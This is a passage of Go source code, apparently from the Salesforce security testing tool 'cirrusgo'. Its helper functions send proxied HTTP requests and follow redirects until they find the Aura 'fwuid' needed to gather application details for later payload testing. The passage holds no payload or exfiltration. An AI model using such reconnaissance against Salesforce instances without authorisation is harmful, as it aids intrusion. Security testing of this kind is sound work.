request.Header.Set(parts[0], parts[1]) 112 | } 113 | } 114 | //send request 115 | response, err := client.Do(request) 116 | 117 | if err != nil { 118 | log.Fatalf("An Error Occured %v", err) 119 | 120 | gologger.Fatal().Msg("Can't send GET request") 121 | } 122 | 123 | responseBody, err := ioutil.ReadAll(response.Body) 124 | 125 | if err != nil { 126 | log.Fatalln(err) 127 | gologger.Fatal().Msg("Can't handle response (GET)") 128 | } 129 | 130 | //check header if respnse.body == null follow redircet 131 | 132 | checkResponseBody := string(responseBody) 133 | //bytes.Equal(responseBody, emptyByteVar) 134 | // not working for all website 135 | //emptyByteVar := make([]byte, 128) 136 | 137 | if strings.Contains(checkResponseBody, "fwuid") { 138 | return responseBody 139 | 140 | } else if len(checkResponseBody) == 0 { 141 | // get url from Location header 142 | 143 | responseHeader := response.Header.Get("Location") 144 | requestURL := responseHeader 145 | responseBody := SalesforceGetURLFromBody(requestURL, requestMethod, requestProxy, requestHeaders, requestParameter) 146 | checkResponseBody := string(responseBody) 147 | 148 | if strings.Contains(checkResponseBody, "fwuid") { 149 | return responseBody 150 | } else { 151 | checkResponseBody := string(responseBody) 152 | if strings.Contains(checkResponseBody, "window.location.href ='") { 153 | 154 | re := regexp.MustCompile("window.location.href ='([^']+)") 155 | getURLFromBody := re.FindString(checkResponseBody) 156 | responseHeader := string(getURLFromBody[23:]) 157 | requestURL := responseHeader 158 | responseBody := SalesforceGetURLFromBody(requestURL, requestMethod, requestProxy, requestHeaders, requestParameter) 159 | 160 | if strings.Contains(checkResponseBody, "fwuid") { 161 | 162 | return responseBody 163 | 164 | } else { 165 | 166 | responseHeader := SalesforceGetURLFromHeader(requestURL, requestMethod, requestProxy, requestHeaders, requestParameter) 167 | requestURL := responseHeader 168 | responseBody := SalesforceGetURLFromBody(requestURL, requestMethod, requestProxy, requestHeaders, requestParameter) 169 | checkResponseBody := string(responseBody) 170 | if strings.Contains(checkResponseBody, "fwuid") { 171 | 172 | return responseBody 173 | } 174 | } 175 | } 176 | } 177 | } else if strings.Contains(checkResponseBody, "window.location.href ='") { 178 | re := regexp.MustCompile("window.location.href ='([^']+)") 179 | getURLFromBody := re.FindString(checkResponseBody) 180 | if strings.Contains(getURLFromBody, "http") { 181 | responseHeader := string(getURLFromBody[23:]) 182 | requestURL := responseHeader 183 | responseBody := SalesforceGetURLFromBody(requestURL, requestMethod, requestProxy, requestHeaders, requestParameter) 184 | checkResponseBody := string(responseBody) 185 | if strings.Contains(checkResponseBody, "fwuid") { 186 | return responseBody 187 | } 188 | } 189 | if !strings.Contains(getURLFromBody, "http") { 190 | responseHeader := string(getURLFromBody[23:]) 191 | requestURL := requestURL + responseHeader 192 | responseBody := SalesforceGetURLFromBody(requestURL, requestMethod, requestProxy, requestHeaders, requestParameter) 193 | checkResponseBody := string(responseBody) 194 | if strings.Contains(checkResponseBody, "fwuid") { 195 | return responseBody 196 | } else { 197 | responseHeader := SalesforceGetURLFromHeader(requestURL, requestMethod, requestProxy, requestHeaders, requestParameter) 198 | requestURL := responseHeader 199 | responseBody := SalesforceGetURLFromBody(requestURL, requestMethod, requestProxy, requestHeaders, requestParameter) 200 | checkResponseBody := string(responseBody) 201 | if strings.Contains(checkResponseBody, "fwuid") { 202 | 203 | return responseBody 204 | } 205 | } 206 | } else { 207 | responseHeader := SalesforceGetURLFromHeader(requestURL, requestMethod, requestProxy, requestHeaders, requestParameter) 208 | requestURL := responseHeader 209 | responseBody := SalesforceGetURLFromBody(requestURL, requestMethod, requestProxy, requestHeaders, requestParameter) 210 | checkResponseBody := string(responseBody) 211 | if strings.Contains(checkResponseBody, "fwuid") { 212 | 213 | return responseBody 214 | } 215 | } 216 | } 217 | 218 | defer request.Body.Close() 219 | return responseBody 220 | } 221 | 222 | //return request 223 | func SalesforceGetURLFromBody(requestURL string, requestMethod string, requestProxy string, requestHeaders []string, requestParameter map[string]string) []byte { 224 | 225 | client := request.Client(requestProxy) 226 | requestParam := url.Values{} 227 | 228 | if requestParameter != nil { 229 | for keyParameter, valuParameter := range requestParameter { 230 | 231 | requestParam.Set(keyParameter, valuParameter) 232 | } 233 | } 234 | //encode all param 235 | finalRequestBody := bytes.NewBuffer([]byte(requestParam.Encode())) 236 | request, err := http.NewRequest(requestMethod, requestURL, finalRequestBody) 237 | request.Header.Set("Content-Type", "application/x-www-form-urlencoded") 238 | if err != nil { 239 | log.Fatalf("An Error Occured %v", err) 240 | } 241 | 242 | if requestHeaders != nil { 243 | 244 | for _, header := range requestHeaders { 245 | parts := strings.SplitN(header, ":", 2) 246 | if len(parts) != 2 { 247 | continue 248 | } 249 | 250 | request.Header.Set(parts[0], parts[1]) 251 | } 252 | } 253 | 254 | response, err := client.Do(request) 255 | 256 | if err != nil { 257 | gologger.Fatal().Msg("Can't GET AppName,UID,Markup try manual with flag `cirrusgo salesforce -payload -help`") 258 | 259 | } 260 | 261 | responseBody, err := ioutil.ReadAll(response.Body) 262 | 263 | if err != nil { 264 | log.Fatalln(err) 265 | gologger.Fatal().Msg("Can't handle response (fromBody)") 266 | } 267 | 268 | defer request.Body.Close() 269 | return responseBody 270 | } 271 | 272 | func SalesforceGetURLFromHeader(requestURL string, requestMethod string, requestProxy string, requestHeaders []string, requestParameter map[string]string) string { 273 | 274 | client := request.Client(requestProxy) 275 | requestParam := url.Values{} 276 | 277 | if requestParameter != nil { 278 | for keyParameter, valuParameter := range requestParameter { 279 | 280 | requestParam.Set(keyParameter, valuParameter) 281 | } 282 | } 283 | //encode all param 284 | finalRequestBody := bytes.NewBuffer([]byte(requestParam.Encode())) 285 | request, err := http.NewRequest(requestMethod, requestURL, finalRequestBody) 286 | request.Header.Set("Content-Type", "application/x-www-form-urlencoded") 287 | 288 | if err != nil { 289 | log.Fatalf("An Error Occured %v", err) 290 | gologger.Fatal().Msg("Can't send GET request (fromheader)") 291 | } 292 | 293 | if requestHeaders != nil { 294 | for _, header := range requestHeaders { 295 | parts := strings.SplitN(header, ":", 2) 296 | if len(parts) != 2 { 297 | continue 298 | } 299 | request.Header.Set(parts[0], parts[1]) 300 | } 301 | } 302 | response, err := client.Do(request) 303 | if err != nil { 304 | log.Fatalf("An Error Occured %v", err) 305 | 306 | } 307 | 308 | responseHeader := response.Header.Get("Location") 309 | if err != nil { 310 | log.Fatalln(err) 311 | gologger.Fatal().Msg("Can't handle response (fromHeader)") 312 | 313 | } 314 | 315 | defer request.Body.Close() 316 | return responseHeader 317 | } 318 | --------------------------------------------------------------------------------